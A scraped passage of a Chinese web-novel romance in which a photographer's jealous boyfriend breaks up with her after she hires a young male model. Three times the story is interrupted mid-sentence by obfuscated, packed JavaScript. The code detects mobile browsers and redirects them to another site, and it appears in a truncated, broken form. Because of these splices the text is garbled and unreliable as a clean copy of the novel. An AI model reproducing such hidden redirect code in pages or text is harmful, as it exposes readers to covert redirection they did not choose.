;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561282|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条手链,恐怕要我工作半年才能买给你。” 步梨千思万想也没想到问题出在这条手链上,她这两天戴了安宏远送给她的手链,本以为陆时生不知道这是安宏远送的,所以她也没解释过。 没想到他一直知道,心里介意居然还不说,冷了她这么多天后才说出来。 步梨心里生出几分恼火。 那天和安宏远的交流中,他确实有表达过对步梨的爱意,但步梨明确拒绝了,安宏远也是个绅士,并没有勉强,只是坚持把这条手链送给了步梨。 这条手链的设计者是安宏远的妹妹安乔,新兴品牌sea&star的创始人。 安宏远是个优秀的商人,表白不成,便希望步梨能够帮忙把sea&star珠宝介绍给绿洲集团——她小舅家的公司。 步梨觉得这条手链挺好看,这两天就戴上了。 她简单解释了几句,心情并没有变好。 她把手链摘了下来,之后同样又把脖子上的项链取了下来,并排摆在桌面。 “这手链的品牌是sea&star,虽然是个小众品牌,但也价值三万块,这项链是我在一个山下的小摊买的,三十块,戴了快六年了,我戴它们,仅仅都是因为我喜欢它们的样式,无关价格,仅此而已。” 陆时生神色颓了下来。 步梨道:“有什么不满的地方直接问我不行?憋在心里不说话,冷落我算怎么一回事?” 陆时生抿了下唇,心里有些慌乱:“抱歉,我心胸狭隘了。” 是,他太狭隘了,在一件事里会卑劣地用恶意去揣测对方,还没有去开口交谈的勇气。 而且他清楚地知道,这种狭隘来自于何处,是他和步梨两人之间巨大的差距而带来的自卑。 他永远迈不过那条鸿沟,所以只能在低处抬头仰望着她,一直仰着头,一直追随,是很累的。 他一边气喘吁吁想要往上爬,一边自卑到想把自己埋在尘埃里。 “其实我也不是有多么好,从出生到现在,我大多的光环都来源于家庭带给我的,而不是我自己努力得来的,我上学的时候成绩一般,只能走艺术这条路,花了家里好多钱才有了现在的成就,可我一工作,因为没有处理好同事关系,一气之下就辞职了。抛开与生俱来的光环,在很多方面,我做得其实都不如普通家庭的人,直到我来了这,开了家写真馆,这件事真真正正让我内心得到了满足,而我能做成这些,少不了你的帮助。” 步梨缓缓说着这些,其实也在诉说自己这些年的心事。 她知道自己并不是多么优秀的人,和身边的很多朋友相比,她都显得很普通。 一直到了花溪镇,开了写真馆,她才感觉自己好像也是能做成一件事情的。 陆时生听着,心里却愈发觉得自己混蛋,他自己的心理问题,却要步梨用贬低自己来帮他缓解。 心里某个地方狠狠疼了一下。 他张了张口,想说她是全天下最好的人,值得最好的爱。 喉咙却像是被一道无形的力量扼住,最终什么都没说出来。 步梨见他许久未开口,抱着最后的决心又说了句,“其实我们之间的问题不难,只需要你跨过自己的内心。” 不难,却也最难。 步梨知道这不是一个短时间可以解决的问题,她同样为此心乱。 陆时生看着她清澈好看的杏眼,像是含了一汪清澈的湖水,深深镶嵌在如玉般的脸上。被这样一双眼睛注视,世界仿佛都会静止。 那一刻,他只想占有。 陆时生俯下身,朝着她的唇深深吻了上去。 两人纠缠了好一会儿才恋恋不舍地分开。 “步梨,”陆时生深深喘息着,双臂紧紧锁在她的腰间,“开店的事,我还是想试一试。” 步梨并不反对他开店,人要强是件好事,她也在为自己事业有起色而欢欣雀跃,况且,她不会在意陆时生给她做了几顿早饭,花了多少时间陪她,她只是不想两人之间有隔阂而且还不说。 步梨搂着他的脖子,低声道:“若是你想更进一步,可以和我商量,我可以帮你,也可以找专业的朋友来帮你规划。” 陆时生眸色暗了下去:“不用。” 步梨听到这两个字,瞳孔缩了缩,觉得陆时生在这件事上十分顽固,有好的资源为什么不用?如果想把店开好,接受帮助有什么可耻的吗?他拒绝这些,似乎执着地想要证明什么,证明一个只有他自己在意的结果。 她愤怒,但终究没爆发出来,试着站在他的角度去理解他,陆时生心里有心结,需要慢慢地解。 步梨推开他。 “你走吧。”她该说的也说了,自己心里的委屈却还在,便赌气似的说道:“明天我自己做饭。” ... 次日清早,步梨早早起床,把一个大大的招聘启示牌竖在了门口。 黑色的牌子上用彩色油笔赫然写了几个大字:香瓜写真馆诚招男模。 38. 漂亮男模 香瓜写真馆靠着短视频的宣传火了几日,热度来得快去得也快,这周客人越来越少,又成了村子里无人问津的一角。 步梨研究里几套新样片,计划找人拍完后放网上宣传宣传。而且,新样片灯拍摄她要找一个完美的新模特。 她把香瓜写真馆的招聘启示发在了网上,只三天,步梨的邮箱里就收到了一百来封简历。 冯雅跟着步梨一块看简历,整个人显得异常兴奋。 一条条信息看下来,她发现了一个问题,不解地问道:“步梨姐,这些投简历的人都不嫌咱这儿远吗?” 步梨扬了扬嘴角,“那只能说明他们是真的很想来给我当模特呗。” 步梨饶有兴致地看着简历,这些人里好多都是专业的模特,有淘宝模特,有的拍过时尚杂志,此外还有不少小网红,长相身材都不错,最终她选了一个叫康子洲的年轻人。 康子洲,23岁,成州艺术学院毕业,身高182cm,体重125kg。 拍摄经验丰富,读书时就给多家淘宝店铺当过模特,现在是自由职业,平时会接一些商拍,或者自己拍一些小视频。 步梨看了他的照片,小伙子肤白貌美又年轻,当即发了面试通知过去。 果然,她眼光不错,线上面试的时候康子洲显得又热情又可爱,笑的时候还会露出一颗调皮的小虎牙,在他说是步梨粉丝的时候,步梨心都要化了,当即就决定选了他。 三天后,她见到了康子洲的真人,人比照片里还要更白净更清瘦一些,步梨对他很是满意,简单聊了几句,便开始跟他讨论拍样片的事宜。 康子洲聊天时人是笑嘻嘻的,但对待工作态度极其认真,问了很多专业的问题。 步梨这组样片要求不高,主要是情绪层面要传达到位,她觉得康子洲不笑的时候,细碎的留海挡在额前,很有她需要的少年感与破碎感。 康子洲白白净净的脸蛋与步梨对话时脸就会红起来,步梨忍不住笑,想起面试时他说的话,问道:“你真是我粉丝?” 康子洲果然脸又红了,垂着眼狠狠点了两下头,“当然。” 步梨笑了声,“我又没视频号,怎么就有粉丝了?” 冯雅也在旁边跟着笑,她觉得这个男模小哥比陆时生好多了。 康子洲人虽害羞,语言却很直白,“就是从他们发的探店视频里看到你了,步梨姐姐你真人比视频里还好看。” 步梨喜欢他的真诚,这一番交谈下来,被陆时生拒绝的失落也被冲散了不少。 今天他们要一口气拍完五组样片,有在别墅天台的,也有花溪镇其他地方的一些室外选景,行程会比较紧张,但与康子洲合作下来,整个流程都进行地非常顺利,甚至提前结束了拍摄。 “步梨姐,幸亏咱们没让陆时生来拍,不然这可拍着呢,两天都拍不完。” 冯雅知道步梨在陆时生那里吃了闭门羹,这话有几分安慰的意思,但这也是她的真实想法,果然专业的事还是得专业的人来做。 康子洲凑到她旁边问:“陆时生是谁?” 冯雅不屑地嗤了一声,“就一男的。” 康子洲抿了抿嘴,跟着上了车回去。 花溪镇地方小,没有宾馆,所以康子洲住在花沟县里的一家酒店。拍到这么晚,已经没有去县里的班车了,步梨干脆让他先跟着回店里,选选片,一天内把活儿都干完,之后她开车把人送到县城。 傍晚,香瓜写真馆亮起了灯。 陆时生带了饭过来,还有步梨的几个快递,推门进来时,步梨正和一个男生坐在电脑前聊着什么。 男生细皮嫩肉的,坐得离步梨很近,两人目光盯着同一个地方,时而发出一阵笑。 “这个挺好的。” “这个太搞笑了吧,我的表情都僵了。” “唉这会儿都累了。” “这个好,姿势很帅。”说着又将姿势现场复原了一下。 “......” 两人聊得很投入,都没察觉到有人进来。 陆时生在门口站了一会儿后,轻咳一声。 他这声咳嗽,最先迎来的是康子洲的目光,他看了陆时生两眼,用胳膊肘碰了下步梨,“步梨姐姐,来客人了。” 步梨目光里毫无波动,“不是客人。” 康子洲:“啊?” 冯雅在旁边小声嘀咕了句,“是送快递的。” 步梨被逗笑了,抬眼朝陆时生站的方向看过去,陆时生朝她扬了下手里的快递箱。 步梨很平常地说了句,“放茶几上吧。” 说完便和康子洲继续讨论选片的事。 陆时生太阳穴狠狠跳了两下,想要说点什么,嗓子一阵干涩,最终没开口,转身把快递放在了茶几上面,然后又绕路去了厨房,把晚饭放在餐桌上。 一个身影从眼前晃过,步梨注意到了,但没抬眼。 从客厅去厨房,要走这条路? “饭放桌上了。”陆时生从厨房折回来后说了句。 听到饭,康子洲忽然兴奋道:“步梨姐你还点了外卖?” 步梨和冯雅同时笑出了声。 一时步梨竟然也不想同康子洲解释。 陆时生没等到步梨的开口,目光移到了康子洲的脸上,心里顿时生出几分烦闷,“这位是来拍样片的模特?” 康子洲不傻,这会儿显然也知道了眼前这人不是快递员,也不是外卖员,“哥,我叫康子洲,你是陆时生吧。” 陆时生点了下头,“嗯。” 冯雅看着康子洲发出一声惊叹:“你怎么知道他名字的?” 康子洲指了指宣传墙,眯眼笑道:“那上面有他的照片呀,所以我就猜他肯定是前一任模特。” 陆时生只听到了“前任”两个字。 冯雅鼓着掌赞叹道:“真厉害。” 步梨对陆时生道:“我晚上不吃饭了,你吃吧。” “我吃过了。” 陆时生垂眸,见步梨注意力都放在了样片上面。 照片里是一张面部特写,在阳光下笑得灿烂。对这张脸,陆时生脑海里浮现出两个字的评价:年轻。 随之他又觉得不服,这位专业的模特也没见到有多专业吧,情绪表达不到位,眼神里总觉得少了些感觉。 片刻后,他压下心头的烦恼,好言对步梨说道:“要不多少吃点。” 步梨站起来走到厨房,打开餐盒,一阵诱人的食物香气扑面而来,一下把她肚子里的馋虫勾了出来。 陆时生带来的饭量不小,她最近减肥吃得不多,这顿饭三个人吃都没问题。 “来吃饭吧,小康你也留下来一块吃点吧。”步梨邀请道。 陆时生太阳穴再次突突了两下。 小康...... 小康丝毫没有客气,步梨刚说完他就追着到了餐桌,“好香啊,步梨姐姐,拍了一天我太饿了,就不客气啦。” “客气什么,你得多吃点。” 步梨拿来了餐具,一共三套,陆时生转身去厨房又拿来了一套放在自己座位上,步梨看向他问:“你不是吃过了?” 陆时生掀起眼皮,“又饿了,再吃点。” 步梨没管他,反正是他带来的饭,他想吃没人可以拦。 晚餐可以称得上是盛宴,还有牛排和蔬菜沙拉,是特意为步梨准备的减肥餐,步梨吃了好几块,外焦里嫩,香气四溢。还有一份粉丝扇贝,洁白如玉的大扇贝柔软地躺在晶莹剔透的粉丝上面,泡在金黄的蒜蓉和酱汁中,交织出独特的鲜香味道。 康子洲边吃还边点评,“这个扇贝真鲜美,就是酱油好像放多了,把它原有的鲜美掩盖住了。” 陆时生有种想掐死他的冲动,这道菜他特意在网上查过攻略,练习了好几遍,自认为各种调料都放得恰到好处,才端过来给步梨。 结果现在竟然被一个小屁孩评头论足。 他缓缓说了句,“你不知道,步梨喜欢吃酱油。” 康子洲听了,立刻做出一副虚心学习的样子:“原来是这样啊,步梨姐,我也会做饭,我手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568668|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺可好了,你有什么喜欢吃的或者忌口都可以告诉我,有空做给你尝尝啊。” 步梨道:“好啊好啊。” 康子洲非常开心,人年轻饭量也大,一顿饭大多数都让他吃了,吃完,他还一手放在肚子上摸了摸,满足地说:“步梨姐,明天我可以还来吗?” 步梨道:“今天要拍的都已经结束了,就不用你再跑一趟了。” 康子洲叹了口气,“唉,早知道慢点拍了,要不我来帮忙吧。” 步梨还没开口,冯雅倒是很兴奋地答应下来,“可以啊,你不介意的话,我的活儿可以分给你!” 康子洲看向步梨,祈求道:“步梨姐,你就让我来吧,我也不要报酬,就是觉得待在你这里挺放松的。” 步梨思考了一下,点头答应:“那我明天给你几张照片。” 康子洲做了一个胜利的动作,“噢耶!开心!不如我今晚住这里得了。” 他这句话就是在开玩笑了。 步梨笑了两声,也没当真,回头竟然看到陆时生的脸就像锅底一样黑。 她主动跟陆时生说了话,“要不,一会儿你帮忙把小康送到酒店吧,太晚了,我不敢开车。” “行。”陆时生求之不得,他本来也不放心让步梨去送。 答应了之后,又想到一个恐怖的事情。 若是今天他不来,没准步梨就会答应了康子洲这小子在这留宿的要求! 他感觉心脏被狠狠揪了一下,看了眼时间,快八点钟,得赶紧把这个危险物品送走。 他催促了三次,康子洲才磨磨唧唧跟他上了车。 去县城的路上,陆时生把车开得飞快,快到康子洲严重怀疑他是名赛车手,好在沿海大道宽敞,车也少,他提着的一颗心才渐渐放下来,开始和陆时生聊天。 “你是步梨姐姐的男朋友?”他目光看着窗外,都没看陆时生,吐出这句冷冰冰的话来,有些无礼,和方才在餐桌上那个天真可爱的奶狗弟弟判若两人。 “不然呢?”陆时生态度也没有多好。 “那什么时候分手?”康子洲锋芒毕露,两个人之间的较量暗暗拉开序幕。 陆时生倒是没想到他这么直接,这人单看长相一副人畜无害的样子,原来都是装出来的。 他语调扬起几分,尾音也拖长了,不紧不慢地反问:“怎么?你想接班?” 康子洲笑了笑,很自信道:“以我的条件,不行吗?” 陆时生瞥了他一眼,“什么条件?步梨可不喜欢娘炮。” “你说谁娘炮!”康子洲被他这一句激怒了,握起拳头咬牙切齿道,“我知道步梨姐的家世背景,你配不上,我也配不上。不过是给人当小白脸吃吃软饭,你可以,我更可以。” “你以为以步梨姐那种背景,找你这种人会是认真的?不过是看上你的脸或者身子,等看腻了,自然要换换。” 车里安静了一会儿。 陆时生的沉默让康子洲很是满意,觉得自己胜利了。 过了会儿,他听到陆时生笑了一声,是很轻淡很不屑的笑,低低的声音刺破车厢里的寂静。 “你太不了解她了,弟弟。” 最后两个字,他刻意放慢了语速。 这次轮到康子洲无语,但他还是坚信,陆时生只是嘴硬罢了,他现在风光,但好日子不会有多久,他排队,总能排到号。 “下车吧。”陆时生把车停在路边。 “到了?”康子洲问。 “嗯。” 外面一片漆黑,不像是到了县城。 见他迟疑,陆时生道:“往前走一段就到了。” 康子洲半信半疑地下了车,陆时生很快掉头离开。 康子洲走了一段总觉得不对,于是打开地图,这才愤怒地发现,他被骗了,他被陆时生扔在了半路上! 周围没有车,也没人,一片荒郊野岭。他只能步行,地图显示步行过去要40分钟。 康子洲在风中凌乱了一会儿,骂了一声,最终硬着头皮走去了酒店。 39. 我喜欢你,但配不上你 陆时生送完康子洲回来,冯雅也下班走了,家里只有步梨一个人。 步梨正好有件事和他商量。 她在筛选邮件的时候,发现邮箱里有一封特别的邮件。 是她半年前发的一封自荐书的回信,落款是江北大学。 半年前,步梨给江北大学宁庄艺术工作室的人事部发了邮箱,里面有她拍摄的照片还有简历,希望能加入团队进行更进一步的艺术交流。 这封邮件发过去之后就石沉大海,后来步梨在花溪镇开了写真馆,便渐渐忘了这事。没想到今天收到了回信。 江北大学是她一直向往的学校,能在那里工作,于她而言是求之不得的荣幸之事。 步梨不敢相信为什么会突然收到江北大学抛来的橄榄枝。 难道江大的人事部也摆烂,半年后才看到她的邮件? 步梨又惊讶又兴奋,迫不及待地给沈思筝打电话报喜。 沈思筝也很高兴,喊着让她回江北。 “你明天就回来吧,我开车去接你。” 步梨犹豫了一会儿,要是搁在半年前,她一定立刻回江北,并且兴奋得去到江北大学转一圈,可现在花溪镇这个地方对她来说有了特别的意义, “我舍不得这里,我的写真馆刚有些起色,我想好好经营它,而且——”这件事还需要跟陆时生商量一下。 沈思筝对她这个态度有点惊讶。 “宁庄工作室不是你一直以来的梦想吗?你要是舍不得花溪镇,就每逢假期去待一段时间,你爸妈都在江北,你本来就不可能一直待在花溪镇,梨子,我都要想死你了,好想和你去吃悦港新开的粤菜啊!” 她说这句话,步梨脑海里想起前两天外婆给她打的电话,外婆说最近身体不太好,想和她多待一待。 心里某个地方软了下来。 “梨子,我的小香瓜,你回来吧,总得有舍有得,不是吗?” 沈思筝不是个啰嗦的人,但今天她说了很多,是真的想让步梨回去。 步梨沉思了一会儿,一团乱麻的脑子里逐渐变得清明,她的亲人、好友,还有梦想,都在江北。 不管怎样,这个面试是个好机会,总得先去试试看。 陆时生把车停好,看时间已经晚了,原本想直接离开。 屋里还开着灯,陆时生看了一会儿,正要转身,门被打开了,步梨站在门口,愣愣地用一种无辜的眼神望着他,“不进来?” 陆时生嗓子有些干,压下心底的燥热,说道:“这么晚了还不睡?” 步梨觉得陆时生刚走没多久就回来了,严重怀疑他在路上飙车。 “怎么这么快?把康子洲送回酒店了?” 她双手环住陆时生的腰,陆时生也很自然地搂住她。 “你倒是挺关心他。”低沉的声音从头上压下来,陆时生的目光深邃且炙热,盈满了浓烈的占有欲,“那么多人来应聘,你怎么就单招了那样一个绿茶男?” 步梨仰头看着他,“绿茶男?” 陆时生不太高兴,“嗯。” 步梨笑了笑:“我看你也是。” “我哪是了?”陆时生微微垂眼,浓密的睫毛覆在眼上轻微地颤了颤。 康子洲那一套,他恐怕半辈子都学不来,实在不是一个合格的软饭男。 他心里苦笑,步梨忽然踮脚在他的嘴唇上轻轻碰了一下,一双水汪汪的眼睛看着他,深情又动人,“你现在用这双眼睛看我,不是在勾引我?” “是又如何?”陆时生紧贴着她的唇吻了下来,他亲吻她的唇,脸颊,额头,一路到耳边,轻声耳语,“步梨,别人休想从我这里把你抢走。” 步梨紧贴着他,感受着他胸膛火热的温度和热烈的跳动。 “谁抢了?” “很多人。”陆时生将她拥得更紧,重复一遍,“很多。” 说完,他把步梨打横抱起,上了二楼。 他们好久没这么欢愉过了,这些天两人似乎都有话对彼此说,却都在对方面前三缄其口,似乎被一道门堵住,但一开启那道门,爱意就像开了闸的洪水奔腾翻涌而来。 酣畅淋漓过后,浓浓的爱意仍在蔓延。 步梨侧躺着看陆时生,他闭着眼,呼吸均匀,像是睡着了一样,步梨凑近了些,感受着温热的呼吸,轻声开口,“累了?” 陆时生睁开眼,那眼神里有种说不出的什么,步梨却瞬间领悟到,当即对自己方才的发言感到后悔。 他这分明是猛虎在看一只小羊仔。 “我不是那个意——”她赶紧弥补,“思”字还没说出口,就被人堵住了嘴。 陆时生又来了一番,这次一直折腾到半夜才结束。 步梨觉得自己差点就要死过去,陆时生抱她去浴室简单冲洗了一下,回来时步梨身上还湿湿的,像一条软软的面条鱼一样把脑袋搭在陆时生胳膊上,强撑着一口气道:“今天别回去了吧。” 陆时生困得厉害,低低说了句,“不回了。” 步梨安心地搂了搂他,“陆时生,我们要不要一起去江北?“ “江北?”陆时生睁开眼,借着月光可以看到屋顶精致的吊灯。 “江北大学合作的宁庄艺术室给我发了面试邀请,24号那天,要是能通过,我就可以去江大工作了。” “面试完还回来吗?”陆时生问。 步梨迟疑了一下,“你不和我一块去吗?” 陆时生顿了顿,“一时,还走不开。” “一时,那以后呢?” 陆时生沉默了会儿,开口道:“你定。” 步梨安心下来,原以为和陆时生商量这件事会费些口舌,没想到这么简单他就同意了。步梨想着江北人多机会也多,陆时生想要开店,直接开在江北会更好。 不过这些事,明天起来再同他商量也不急。 困意袭来,步梨很快进入梦乡。 第二天临近中午,康子洲并没有来,午饭的时候步梨收到了他发来的微信,说是临时有事回去了。 因为他原本说要来,步梨还特意给他打印了一张照片像送给他,现在送不出去了,她便把照片都挂在了宣传墙上,算是物尽其用。 康子洲不来,冯雅来了之后,没见到康子洲,整个人肉眼可见地失落,步梨恨铁不成钢地让她不要犯花痴,还提了杜庭的名字,让她专一一些。 冯雅不以为意地反驳回去,“你不也一样?” 步梨摇了摇头,“我可没有,我只是正常工作而已。” 冯雅用“你看我信吗”的眼神看了她一眼,转身忙去了。 这时陆时生从别处绕过来,问了句,“康子洲不来了?” “他说有事。”步梨道。 “这样。”陆时生表示有点遗憾。 冯雅看了他一眼,悄悄对步梨说:“我看他很高兴。” 步梨没说话。 陆时生待了一会儿就走了。 步梨猜测他可能还在研究他在县城里的店要怎么开,固执地不接受她的帮助,固执地只想闷头干大事。 她思来想去,心里也多了几分释然。 管他呢,折腾去吧。 步梨这才想起忘记和他商量把在江北开店的事情了。 不过有一点倒是无可厚非,陆时生的态度变得好了很多,每次来都会给她带和之前不一样的饭菜,味道都很可口。 步梨的胃得到了极大的满足,这两天体重竟然没长,反而降到了之前的水平,心情也因此开朗了不少。 只是她注意到一个事情,这两天的饭菜里,陆时生好像很热衷于放酱油。 还特意会做一些红烧肉、糖醋排骨这类酱油必不可少的菜品。 这天吃饭时,步梨对着酱油味浓重到刺鼻的炒蛋说了一句,“酱油放多了。” 陆时生立刻就黑了脸,很不乐意地回了一句,“知道了。” 步梨没太把这事放心上,就是一个很寻常的小事,她还有重要的事要说:“对了,你还在县城那边找店面吗?我想着要不你可以把店开在江北,毕竟江北人多,生意应该也不错。” “我不去江北。” 陆时生说完,离开了餐桌。 “昨天不是说好了吗?”步梨见他要走,喊了他一声。 “我还没决定好,你让我想想。” 步梨叹了口气,没再说什么。 这件事确实需要时间思考。 她低头又吃了几口饭,陆时生不知什么时候已经走了。 步梨心里隐隐担忧他到底会不会同意跟她去江北,要是不同意,她要怎么办? 跟他一起在花溪镇待一辈子吗? 估计他爸妈也不会同意,要不了多久就会派人过来把她捉回去了。 步梨深深叹了口气。 她等陆时生的答复足足等了一周,陆时生像是在回避她,连着好几天没来写真馆。 步梨想问问他心里到底是怎么想的,她给陆时生发了消息,让他今晚过来一趟。 陆时生给她回了句,“行。” 晚上,步梨在打扫房间的时候,发现宣传墙上康子洲的照片没有了,她左右找了半天都没找到。 正巧这会儿陆时生过来了。 步梨觉得多半是被他拿走了! 她握了握拳,质问道:“陆时生,你是不是把康子洲的照片扔掉了?” 陆时生走近,“他照片丢了?” 步梨指了下宣传墙上空出来的位置,“就挂在这里的。” “我没扔。”陆时生否认道,“我要是想扔早就扔了,还会等到今天?” 步梨不信,追问道:“那照片哪去了?” 陆时生淡定道:“我不清楚,要不你问问冯雅。” 步梨笃定:“冯雅不会扔康子洲的照片的。” “那我就会扔?”陆时生气不过,想起前几天他经过给存放拍写真用的衣物间,见到了他给步梨买的裙子。 他本不想问这事儿,觉得自己太小题大做了。 一条裙子对于步梨来说根本不算什么,她自然想挂在哪就挂在哪,想给谁穿就给谁穿。 说来自己也是可笑,逞能买什么裙子? 当时还以为步梨没舍得花钱买,现在想来,他当时的想法可笑得厉害,是在上演什么霸道总裁的剧情吗?那可是步梨,真有自己喜欢的裙子怎么可能舍不得买? 现在又被怀疑,他一时气不过,便也把这事儿拿了出来,“那——我给你买的裙子,你为什么要把它挂在客人的衣帽间?” 步梨愣了愣,重新确认了一遍陆时生的问题,“裙子?你给我买的那条?” “一直在我的衣柜里面啊。” 为了印证她说的话,她还拉着陆时生去了卧室,亲自打开柜子,那条裙子被平平整整地挂在衣柜里。 “当时我说了,有一条和这个类似的裙子,所以才没买,你在客人的衣帽间里看到的应该是我以前的那条。” 陆时生哑口无言,愤怒当即转为尴尬。 两人就这么静静地对峙了会儿,步梨冷静地看着他的眼睛,“我可以认为,你吃醋了吗?”“你喜欢我的对吧,陆时生,你喜欢我。” 步梨想到从头到尾陆时生都没说过一句喜欢她。 有时她也怀疑,陆时生答应和她在一起到底是因为什么。 是因为喜欢吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568669|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>还是因为她有点钱,样貌还算过得去,又主动去跟他表了白,这么一个主动送上门来的“馅饼”,谁会不捡呢? 她想要一个答案。 很可笑地想要一个答案,想证明自己不是一个白送的馅饼。 陆时生转身下了楼,他脸色不是很好,步梨跟着下去,心里犹豫着要不要问去江北的事,天人交战了会儿,她抱着长痛不如短痛的想法,开口问道:“陆时生,我们可以聊聊吗?” “可以,我正好也有事说。”陆时生下了楼后,在楼梯旁边停住脚步。 步梨从楼梯走下来的这几步,掌心都出了汗。她料想他们两人要谈的是同一件事,所以定了定神,率先开口:“去江北的事情,你考虑得怎么样了?” 陆时生没有回答她这个问题。 “步梨,我们分手吧。”过了会儿,陆时生说。 一阵沉默。 四周静得厉害,步梨甚至以为方才那一瞬间,自己身处梦境。 而她刚刚听到的那句话,是梦话。 “对不起......我们......”陆时生嗓子有点干,似乎被一种无形的力量扼住,他站起身来,艰难开口,“我们是两个世界的人。” “你喜欢我吗?”步梨不知道自己为何到了现在还在执着于探究这个问题。 毫无意义,但她却执着于答案。 “步梨,”陆时生视线轻轻落在她身上,“我喜欢你,但我配不上你。” 步梨有些站不住,努力维持着表面的平静,颤声道:“没有什么配得上配不上——” “有。” 陆时生的语气平缓,语调很低,讲这些话的时候神情又极为认真,看不出一点儿开玩笑的含义来。 步梨往后退了半步,扶住身后的楼梯扶手。 她感觉她的心在某一秒停止了跳动。 “是康子洲和你说了什么吗?何必在意那些人的话?” “我在意,因为他说得没错。” “你会一辈子跟我待在这小小的花溪镇吗?” 步梨一愣。 这是他们第一次这么正式地聊这件事情。 似乎是一个无解的问题,谁都不愿意为了谁妥协。 步梨从前也想过这件事,但她依然乐观地觉得无解其实也代表着有无限种可能。 “我考虑过这件事,但我也觉得,凭你的才能,完全可以去大点的地方闯荡一下。”她说完,陆时生没说话,步梨有些等不及,很快又说:“不然,我们先不做决定,先去一趟江北看看,就当是提前考察考察环境,行吗?” “我没那么大志向。” “你不是一直问我,我喜欢你吗?那我现在告诉你答案,”陆时生顿了顿,声音有些哑,但每个字都十分清晰。“步梨,我不喜欢你。” 不喜欢。 这三个字像是带了刺,一下下刺在心里最软的地方。 “我不信。”步梨觉得,或许他是在闹脾气,在因为康子洲的事情生气,也或许是因为他不想去江北,“你若是不喜欢康子洲的照片,我不挂便是了,至于江北,不能商量商量吗?” “步梨,我说了,我不喜欢你。”陆时生重复一遍。 步梨感觉自己每一次呼吸都在挣扎着进行,她紧紧握拳,好让自己撑住,“我可以考虑......” 她有点难受,那一刻,她几乎想立刻转身就走,买一张回江北的车票,再也不回来,可她心里好疼,只要多看一眼陆时生,心里就会多十分的不舍。 最终,她妥协般的,艰难开口,“我可以考虑留在花溪镇,我先想想,行吗?” “不用。”陆时生脸色暗淡,语气也尽是冷漠,“我不是用分手逼你,我已经说过了,不喜欢你,就算你留下来也没用,我们不合适。” “这是真心话?”步梨直直盯着他的眼睛。依旧是漂亮的桃花眼,多情却也最无情。 陆时生淡淡嗯了一声。 步梨忽然笑了一声,如释重负一般叹了口气,终于忍无可忍,“你就是在维护你那可怜的自尊心吧。” “是,没错,”陆时生没否认,也没生气,他从始至终都很冷静,冷静地吐出尖锐刺耳的话,“我喜欢勤俭持家的,背景样貌都普通一些会更好,而你正好相反,跟你在一起,无时无刻不在刺激着我这份脆弱的自尊心。” 步梨的目光一点一点变得冷暗,在最后一刻,像是毫无波澜的沼泽,“那你和我在一起是因为什么?” 陆时生像是一只披着羊皮的狼,如今揭开外皮露出原本的面目,他也毫不羞耻,像是毫不在意被步梨知道自己的真面目,漫不经心地承认:“你先提的,我只是脑子一热没忍住而已,你也不是小孩了,还不了解男人吗?” 步梨移开目光不想再看他,掌心汗涔涔的,只觉得脑袋发晕,她咬牙吐出了两个字:“走开。” 陆时生看着她。 步梨不想再听到他口中说的任何话,那些话每一个字都在深深刺痛着她。 她缓缓地转身离开,嘴里低低念着: “不要来了。” “再也不要来了。” ... ... 陆时生不知道什么时候走了,等步梨再转过身去看的时候,他刚刚站的地方已经空无一人。 步梨感觉自己做了一场梦。 原来两个人之间的感情是这么脆弱。 是陆时生的错吗? 自然不。 她也有很大的错。 她完全没有考虑过这些实际的问题,只被自己的爱意冲昏头脑,做出了冲动的事情。 现在,到了她为自己的冲动买单的时候。 40. 再见,花溪镇 那一天,步梨也不知道自己是怎么过的,只记得陆时生走后,她在原地默默站了很久。 她想,她也要跟花溪镇告别了。 下午写真馆来了一位客人,拍摄外景的时候,步梨也趁此再仔细看看花溪镇。 夏季好像是过了,阳光细细碎碎的照下来,迎面的风也多了寒意。 很冷。 为什么这么冷。 算起来她在花溪镇待了足足有小半年,如今竟然要以这种心情与之告别,步梨深感愧疚。 花溪镇的一草一木,其间好像都有某一个人的身影。 步梨努力不让自己去想,可心里还是无时无刻不在后悔。 或许她从一开始就不应该迈出那一步。 她贪婪,导致现在失去得更多。 就连花溪镇都不再是一个温馨自在的地方。她想要躲开,想要逃离。 愣神中,有人拍了拍她的肩膀。 冯雅站在旁边小心翼翼地问她:“步梨姐,都准备好了,要开始拍了吗?” “哦,抱歉,可以了。” 她举起相机。 也只在拍摄的时候,才能忘记心里的烦心事,只要一闲下来,她就开始胡思乱想,步梨为这些心烦,便尽量不让自己得空。 送走客人,她把房屋内外全都打扫了一遍。 “步梨,别人休想从我这里把你抢走。” 这是陆时生对她说的话,就在这个房间,亲口对她说的。 可没有人抢她,是他主动放弃了她。 